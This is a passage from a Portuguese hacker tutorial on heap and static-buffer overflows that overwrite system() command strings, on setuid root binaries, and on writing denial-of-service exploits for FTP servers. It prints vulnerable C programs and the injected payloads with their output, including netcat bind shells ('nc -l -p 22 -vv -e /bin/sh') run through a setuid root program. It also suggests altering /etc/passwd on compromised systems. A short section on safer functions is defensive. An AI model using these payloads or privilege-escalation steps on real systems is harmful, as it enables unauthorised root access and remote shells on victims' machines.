deste sem misterio. Fuzzing 'TRADICIONAL' em aplicacoes para descobertas de falhas de heap overflow ocorrem de maneira similar ao pro- cesso de fuzzing em aplicacoes que se utilizam da stack, ou seja, se "debugarmos" uma aplicacao que executa uma determinada acao no sistema se utilizando de system(), 'execl()' ou alguma outra syscall similar que executa comandos 50 bytes (por exemplo) depois do primeiro ponteiro declarado, basta corrompermos a memoria ate' encostarmos no endereco do comando como usual. Veja um exemplo: -- heap_bug.c -- #include #include main (){ char *pointer_1, *pointer_2, *pointer_3, *pointer_4, *pointer_5; pointer_1 = (char *) malloc (10); pointer_2 = (char *) malloc (10); pointer_3 = (char *) malloc (10); pointer_4 = (char *) malloc (10); pointer_5 = (char *) malloc (10); system ("cls & color a"); printf ("Endereco fisico de pointer_one: %d\n", pointer_1); printf ("Endereco fisico de pointer_5 : %d\n", pointer_5); puts (""); sprintf (pointer_5, "echo Bem vindo a %s!", "Matrix"); puts ("\nMe diga seu nome:"); gets (pointer_1); system (pointer_5); } -- cut here -- Endereco fisico de pointer_one: 4007104 Endereco fisico de pointer_5 : 4007200 Me diga seu nome: Meu nome eh 6_Bl4ck9_f0x6 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! '!!!!!!!' não é reconhecido como um comando interno ou externo, um programa operável ou um arquivo em lotes. C:\Documents and Settings\David> Voltaremos !!!!!!! (7) bytes. Volte 7 bytes e digite o comando. Pronto, o programa foi explorado com sucesso. A comunidade de seguranca ja' divulgou diveras vulnerabilidades em aplicacoes famosas como o sendmail que eram vulneraveis a esse tipo de falha. Exploracao atraves de variaveis estaticas: -- cut -- #include #include main (){ static char name[20]; static char command[50]; system ("cls & color a"); printf ("Endereco fisico de name : %d\n", name); printf ("Endereco fisico de command: %d\n", command); puts (""); // To skip a line sprintf (command, "echo Bem vindo a %s!", "Matrix"); puts ("\nMe diga seu nome:"); gets (name); system (command); } -- cut this file here -- Endereco fisico de name : 4210704 Endereco fisico de command: 4210736 Me diga seu nome: 11111111111111111111111111111111nc -l -p 55 -vv -e cmd.exe listening on [any] 55 ... connect to [192.168.1.1] from VIOLATOR [192.168.1.1] 3022 Depois de um 'telnet IP PORTA': Microsoft Windows XP [versão 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\David> Imagine insercoes de linhas no inetd nos Unixes com o comando 'echo'. Pois os privilegios do programa tem muita probabilidade de ser de usuario root. Existem muitos sysops que se utilizam do netcat como cliente para conexoes e inclusives distribuicoes Linux que dispo- nibilizam o mesmo por default. Existem muitas formas de protecao, apenas uma sera' descrita nesse documento. Observe que ao invez da utilizacao da funcao 'gets()' para a obtencao e repasse de dados de usuarios para as variaveis, podemos utilizar a 'fgets()' para tal, pois 'gets()' nao faz controle algum do numero de bytes a serem repassados para a area de memoria reservada para a variavel. Pequena tabela de funcoes perigosas e de funcoes que substituem as tais. +-------------------+-------------------------------------------+ |Funcoes "perigosas"| Suposta solucao | +-------------------+-------------------------------------------+ | sprintf() | snprintf(destino, numero_bts, origem); | +-------------------+-------------------------------------------+ | gets() |char *fgets (char *str, int len, FILE *pt);| +-------------------+-------------------------------------------+ | scanf() | Use especificadores de tamanho!! | +-------------------+-------------------------------------------+ | strcpy() | strncpy() | +-------------------+-------------------------------------------+ | strcat() | strncat() | +-------------------+-------------------------------------------+ Todas as funcoes que copiam dados sao perigosas, e cabe a voce, se utilizar de funcoes seguras para controle dos dados que serao copiados. Observe: -- cut -- #include #include main (){ static char name[20]; static char command[50]; system ("cls & color a"); printf ("Endereco fisico de name : %d\n", name); printf ("Endereco fisico de command: %d\n", command); puts (""); // To skip a line sprintf (command, "echo Bem vindo a %s!", "Matrix"); puts ("\nMe diga seu nome:"); fgets (name, 5, stdin); // <--- Note system (command); } -- cut -- Me diga seu nome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Bem vindo a Matrix! C:\> Ele vai copiar apenas 5 bytes para a variavel estatica 'name', impedindo a exploracao deste programa. 6.0 - Entendendo o SetUID O UID nada mais e', como o proprio nome ja da a entender (User IDentifier - IDentificador de Usuario ou User IDentification - IDentificacao de usuario), um identificador de usua- rios, todos os usuarios devidamente cadastratos em sistemas Unix/Linux possuem seu pro- prio UID. O UID e' um numero frequentemente checado pelo Kernel (Nucleo do sistema) antes de fazer determinadas operacoes. O UID '0' equivale a usuario root no Linux. Quando que- remos adicionar um usuario no sistema por exemplo, o kernel verifica qual e' o 'UID' do usuario que emitiu o comando adduser por exemplo (Comando p/ addicionar usarios ao siste- ma), se ele checar o UID 0, ele deixar o usuario ser cadastrado nos arquivos /etc/passwd e /etc/shadow (arquivos que gravam dados dos usuarios, como senhas e identificadores). Se o UID do usuario emissor do comando adduser nao for '0', simplesmente temos um aviso de permissao negada. Setuid e' bem simples de ser entendido, este e' o comando para marcar arquivos com setuid: chmod +s /caminho/do/programa ls -l (long) fara' uma listagem completa do arquivo, voce vera' o 's' nas permissoes do file (identificador de aplicacao setada com bit de super usuario). 6_Bl4ck9_f0x6@Vipera:~/Desktop$ sudo chmod u+s vulnerable 6_Bl4ck9_f0x6@Vipera:~/Desktop$ ls -l vulnerable -rwsr-xr-x 1 root fox7 7558 2005-01-01 07:03 vulnerable O dono do programa acima (vulnerable) e' o usuario root, para marcar o bit suid sobre esse elf me utilizei do comando sudo, que possibilita a execucao de comandos como super usuario, pois apenas usuario com 'UID 0' podem emitir o comando chmod com o parametro +s (Que marca o bit suid). O que fiz acima foi setar o elf vulnerable para "executar comandos como usuario root" sem precisar estar logado com tal usuario. Observe o atributo 's' que representa o setuid, nesse caso o programa estara' com permissoes de root. Se o programa adduser estivesse marcado com bitsuid ( seu dono for root) voce podera' adicionar usuarios ao sistema como root. Para ver o UID de usuarios digite o comando 'id' seguido do nome de usuario ou apenas 'id' para ver o UID do usario corrente. Exemplo: 6_Bl4ck9_f0x6@Black_Machine:-$ id uid=1002(Black Fox) gid=1002(Black Fox) grupos=1002(Black Fox) Acima estou logado como usuario Black_Fox, meu UID e' 1002, nao posso adicionar usuarios ao sistema, porque meu UID nao e' zero. Digite 'su' (comando usado para mudar o usuario atualmente logado) na shell (interpretador de comandos), ele vai pedir senha, a digite e tecle [Enter], voce estara' como root e podera' marcar bit suid em qualquer elf. Se quiser se logar com qualquer outra conta basta digitar 'su outra_conta', se digitar apenas 'su', o Linux vai inferir que voce quer se logar como root. chmod +s /bin/adduser Isso acima faz com que o 'EUID' do adduser seja setado como 0, que e' o UID do user que emitiu o comando, que tambem e' dono da aplicacao (root). -- Nota --------------------------------------------------------------------- Na verdade nao vamos setar o "UID" do usuario corrente, pois programas que trabalham com setuid continuam sendo executados com o 'UID' de seu usuario/ executor. O que acontece e' que quando executamos um programa marcado com setuid, o Linux verificara' um atributo chamado 'EUID' - Efective User IDentification, ou simplesmente identificador "DE EXECUCAO", que vai estar setado com o UID de um usuario qualquer, '0' nesse caso. E' a IDentificacao efetiva de usuario, que setaremos. Quando executamos arquivos, o kernel verifica o UID do user, nao permitindo a execucao do elf caso a acao neces- site de UID 0. Entao a verificacao do EUID - ID de execucao, do arquivo, que sera' checada. Ainda existe o EGID que funciona de forma similar ao EUID, o que difere e' que EGID e' a identificacao de execucao de grupo. sh-3.1# id uid=0(root) gid=1008(fox7) egid=0(root) grupos=1008(fox7) ----------------------------------------------------------------------------- Para executar comandos com permissoes de root sem precisar ficar logado na conta, basta digitar o parametro '-c' do 'su', este parametro executa um comando com permissoes de um user e depois retorna ao user que chamou o comando. Exemplo: sh-3.1$ su root -c "comando" Password: Para fazer logout de uma conta acessada com o su basta que digite o comando exit para voltar ao usuario anterior. Todos os hackers visam arquivos com setuid root, sendo quase que obrigatorio uma busca com o find pelos mesmos no sistema apos uma invasao. Os perigos que cercam aplicacoes com bitsuid sao bastante relevantes, tome como exemplo uma 'app' vulneravel a Heap Overflow, ela tem o ID de execucao (EUID) igual a '0', isso significa que podemos usar este programa para executar nossos comandos no sistema com os privilegios de usuario root, explorando o mesmo. Procedimento esse demonstrado anteriormente. 6.1 - .Movie Temos acesso a uma conta nao privilegiada no sistema, de alguma forma estamos no sistema. No Linux portas abaixo de 1024 apenas podem ser aberta por admins/root, mas encontramos no sistema uma aplicacao com setuid root, ou seja, roda com o bit 'suid'. Esta aplicacao tem um bug de Heap Overflow. Abrindo portas abaixo de 1024 com o netcat: We have control on unprivileged account in the system, in Unix systems ports below 1024 only can be opened by root users (UID 0), but we found a application marked as root by the sysadmin and this application has a bug, heap overflow. Opening ports below 1024 with netcat: sh-3.1$ pwd /home/Black_Fox sh-3.1$ bash Black_Fox@Black_Machine:-$ id uid=1002(Black Fox) gid=1002(Black Fox) grupos=1002(Black Fox) Black_Fox@Black_Machine:-$ gcc -o overrun Buffer_Overrun.c /tmp/ccC9ImLu.o: In function `main': Buffer_Overrun.c:(.text+0x9b): warning: the `gets' function is dangerous and should not be used. Black_Fox@Black_Machine:-$ ls -la overrun -rwxr-xr-x 1 Black_Fox Black_Fox 7811 2008-10-30 11:49 overrun Black_Fox@Black_Machine:-$ su -c "chown root overrun; chmod +s overrun" Password: Black_Fox@Black_Machine:-$ ls -la overrun -rwsr-sr-x 1 root Black_Fox 7811 2008-10-30 11:49 overrun Black_Fox@Black_Machine:-$ nc -l -p 22 -vv -e /bin/sh Can't grab 0.0.0.0:22 with bind : Permission denied Black_Fox@Black_Machine:-$ ./overrun Endereco de memoria do seu nick: 134520840 Endereco da msg de boas vindas : 134520856 Insira seu nick:6_Bl4ck9_f0x6 Bem vindo a Matrix Black_Fox@Black_Machine:-$ ./overrun Endereco de memoria do seu nick: 134520840 Endereco da msg de boas vindas : 134520856 Insira seu nick:6_Bl4ck9_f0x6 ->nc -l -p 22 -vv -e /bin/sh listening on [any] 22 ... [+1]+ Stopped ./overrun Black_Fox@Black_Machine:-$ echo Obrigado Obrigado Black_Fox@Black_Machine:-$ fg 1 ./overrun ******************************************************** [img] http://www.hunterhacker.xpg.com.br/heap.png [/img] ******************************************************** Voce podera' fazer diversas acoes maliciosas nos sistemas invadidos atraves de uma aplicacao bugada, como inserir linhas no /etc/passwd ou fazer pequenas modificacoes no mesmo, como alteracao de UIDs de usario ( setando-o(s) para '0' por exemplo). Dependera' de seu nivel de conhecimento em Unixes em geral pois esse texto apenas demonstra como ocorre e como explorar tal falha de seguranca. No proximo texto demonstrarei tecnicas para descobertas de aplicacoes vulneraveis, que se utilizam de execl(), system() e syscalls do genero. 7.0 - Desenvolvendo exploits de Denial of Service Quando uma aplicacao retorna para um endereco de memoria invalido (stack overflow) ocorre o fechamento da aplicacao. O que sera' descrito abaixo e' apenas um simples guia para o desenvolvimento de ferramentas capazes de fechar servidores remotos, sem a minima pretencao de exploracao para obtencao de shell ou bind de portas para um posterior acesso. Toda a ba- se desses exploits (ou uma grande parte deles) escritos em C, e' a mesma. O memset(); - set memory - setar memoria. Prototipo: memset (string_destino, 'caractere', numero_de_bytes_a_setar); Isso equivale a setar a memoria no endereco da string de destino. A base dos exploits de D.o.S (Como de overflow em geral) e' enviar um buffer muito grande, "normalmente" (quando se trata de servidores de FTP) devemos mandar ('send()') o comando que nao gerencia dados de forma adequada pela aplicacao servidora, ou seja, na aplicacao remota existe um buffer que nao possui um limite de dados para alocacao na memoria, o que precisamos fazer e' mandar dados de forma a lotar a area de memoria remota responsavel pela construcao do stack frame de alguma funcao, com a pretencao de alcancarmos o endereco de retorno e faze-lo retornar para uma regiao de memoria "invalida". Brevemente estarei lhes mostrando como achar enderecos estaticos nas APIs para "exploracao" remota. Por hora o intuito e' der- rubar o servidor, depois da emissao de muitos dados. Bem, como ja mencionado precisaremos enviar um buffer suficientemente grande logo apos um comando ('por exemplo') interpretado pelo servidor, assim fazendo um dado numero de bytes iniciais fazerem com que aja chamadas para funcoes internas no programa, assim fazendo o mesmo entrar em crash (fechar), devido ao nao controle do fluxo de dados para seus respectivos stack frames na memoria. -- cut -- #include #include int caracters; main (){ char setp[50]="The final result: "; caracters=strlen (setp); // <-- Atribui o numero de bytes da variavel memset (setp +caracters, 'S', 0x10); // 10 (hexadecinal) equivale a 16 em decimal puts (setp); // Imprime o buffer na tela system ("pause"); } -- cut -- Result: The final result: SSSSSSSSSSSSSSSS Pressione qualquer tecla para continuar. . . Nesse exemplo tenho um buffer local que suporta 50 bytes, poderia enviar o comando seguido do buffer cheio de S's, mas para isso teria que usar a funcao memset e determinar o numero de bytes logo apos o comando, caso contrario o 'memset()' sobrescrevereria o comando, veja este trecho: caracters=strlen (setp); Note que pego o numero de bytes da variavel setp. memset (setp +caracters, 'S', 0x10); Comeco a setar a memoria a partir do numero de bytes definido na variavel caracteres. Utilizo no primeiro parametro da funcao o '+caracteres', ou seja, o exploit escrevera' no buffer de destino 'a partir' do numero de letras da variavel. Espacos em branco entre uma palavra e outra na mesma string equivalem a caracteres. Veja: char exemplo[]="ABOR "; Veja que existe um espaco depois da letra 'R'. Existe uma versao do Sami FTP vulneravel a este comando seguido de muitos bytes (Stack Overflow), como tantos outros servidores. 8.0 - Useful links and reference http://undergroundsecurityresources.blogspot.com/ ============================================================ Tutorial Basico do gcc e entendendo as etapas de compilacao Link: http://www.usrfiles.xpg.com.br/gcc_tuto_2.txt ------------------------------------------------------------ Buffer Overflow by Andre Pau No Cuh Amorim Parte1: Link: http://www.hunterhacker.xpg.com.br/Pen1.rar Senha: paunocuh Parte2: Link: http://www.hunterhacker.xpg.com.br/Pen2.rar Senha: paunocuh Acesse: www.metasploit-br.org ============================================================ Um cordial abraco. []`s by 6_Bl4ck9_f0x6 - Viper Corp Group